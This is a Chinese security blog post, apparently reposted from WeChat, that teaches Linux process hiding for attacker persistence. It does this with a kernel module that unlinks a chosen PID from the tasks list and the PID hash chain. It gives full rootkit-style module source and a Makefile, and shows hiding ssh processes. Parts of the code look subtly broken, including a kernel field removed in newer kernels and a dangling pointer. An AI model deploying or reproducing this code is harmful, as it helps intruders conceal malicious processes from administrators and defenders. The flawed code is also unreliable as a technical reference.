进程隐藏之从tasks与pid链表摘除

admin 2024年1月26日23:18:30评论17 views字数 2873阅读9分34秒阅读模式

为了把最好的课程带给大家,这周还是忙于打磨课程,所以更新慢了一点,见谅!

试听课会在这周末上线,敬请期待!

今天继续之前的话题--权限维持之隐藏进程,之前有读者反映看不懂,故这篇选择一个容易理解上手简单的手法--从tasks与pid链表摘除进程。

本文目录

进程隐藏之从tasks与pid链表摘除

何为PID 链

也就是基于 PID 的链表。

内核中使用一种特殊的数据结构来快速查找基于 PID 的进程信息。这就是 PID 链,它是一种哈希表结构,其中包含了指向 task_struct 的指针。

每个 task_struct 结构体中都包含一个 PID 链表的节点,task_struct包含了进程的详细信息。这些节点链接在一起,形成了一个快速查找特定 PID 对应进程的结构。

通过 PID 链,内核可以迅速找到与特定 PID 相关联的 task_struct 实例,这对于处理诸如信号传递、进程通信等任务至关重要。

何为tasks链表

这个链表由 task_struct 结构体组成,用于维护系统中所有进程的信息,每个进程在内核中都有一个对应的 task_struct 实例。

作用:进程追踪,进程管理。

那么我们把要隐藏的进程从这两个链表摘除,也就是将进程从全局的任务列表中删除,是不是就达到在系统级别隐藏进程的效果了?

开始实验

先看一下ssh的相关进程,隐藏2198进程

进程隐藏之从tasks与pid链表摘除

hide_process.c文件内容如下

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/sched/signal.h>

/* 隐藏特定 PID 的进程 */
void hide_process(void)
{
   int pid = 2198; // 您想要隐藏的进程 PID
   struct task_struct *task = NULL;
   struct pid *pid_struct = NULL;
   struct hlist_node *node = NULL;

   /* 获取指定 PID 的 task_struct */
   pid_struct = find_get_pid(pid);
   task = pid_task(pid_struct, PIDTYPE_PID);
   if (!task)
       return;

   /* 从任务列表中删除该进程 */
   list_del_rcu(&task->tasks);
   INIT_LIST_HEAD(&task->tasks);

   /* 从 PID 链表中删除该进程 */
   node = &task->pids[PIDTYPE_PID].node;
   hlist_del_rcu(node);
   INIT_HLIST_NODE(node);
   node->pprev = &node;

   put_pid(pid_struct);
}

static int __init test_init(void)
{
   hide_process();
   return 0;
}

static void __exit test_exit(void)
{
   printk(KERN_INFO "Module exit: Process hidingn");
}

module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");

Makefile文件内容如下

obj-m += hide_process.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

make并加载到内核

进程隐藏之从tasks与pid链表摘除

再次查看ssh相关进程,ok隐藏了。

好玩,卸载掉这个模块,再隐藏一个玩玩,改一下对应pid为3273

进程隐藏之从tasks与pid链表摘除

ok,成功全部隐藏。简简单单

最后感叹一句,路虽远 行则将至,事虽难 做则必成。希望各位读者不要畏手畏脚,文章中遇到读不懂的东西一定要去研究一下,不要得过且过,偷懒只会让你原地踏步甚至是不进则退,纸上得来终觉浅,绝知此事要躬行,不仅要看懂,更要去实践一下,这样才能有更深刻的理解,才能真正掌握知识,祝大家每天都有进步!

以及:天寒露重,望君保重。

往期文章汇总

权限维持和排查

权限维持之加载动态链接库隐藏进程 tcp连接

继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)

别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)

你不知道的win应急思路!从维权到排查,面试必问!不来看看?

只会netstat?最全应急排查网络连接思路,不学一下吗?

rootkit原理

初探rookit(另一种角度看维权) (qq.com)

从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)

漏洞复现和利用手法

从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)

浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理

如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)

从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)

浅分析 Apache Confluence [CVE-2023-22515]

再谈宝塔后门账号维权

浅谈jenkins后渗透

一些工具和原理

浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)

浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理

魔改蚁剑之零基础编写解码器

一些渗透手法

浅谈水坑攻击之结合xss平台钓鱼获取浏览器记录和微信数据

从绕过disable_functions到关于so的一些想法

windows获取hash常见手法 (qq.com)

CDN+Nginx反向代理来隐藏c2地址

CDN和域名隐藏C2地址 (qq.com)

云函数实现隐藏c2地址 (qq.com)

一些杂谈

考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)

晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)

2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)

赛博保安hw讨薪总结(针对学生党) (qq.com)

上专科,干外包驻场,会有未来吗?这辈子就这样了?我的出路在哪?(qq.com)

原文始发于微信公众号(黑熊安全):进程隐藏之从tasks与pid链表摘除

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月26日23:18:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   进程隐藏之从tasks与pid链表摘除http://cn-sec.com/archives/2434633.html

发表评论

匿名网友 填写信息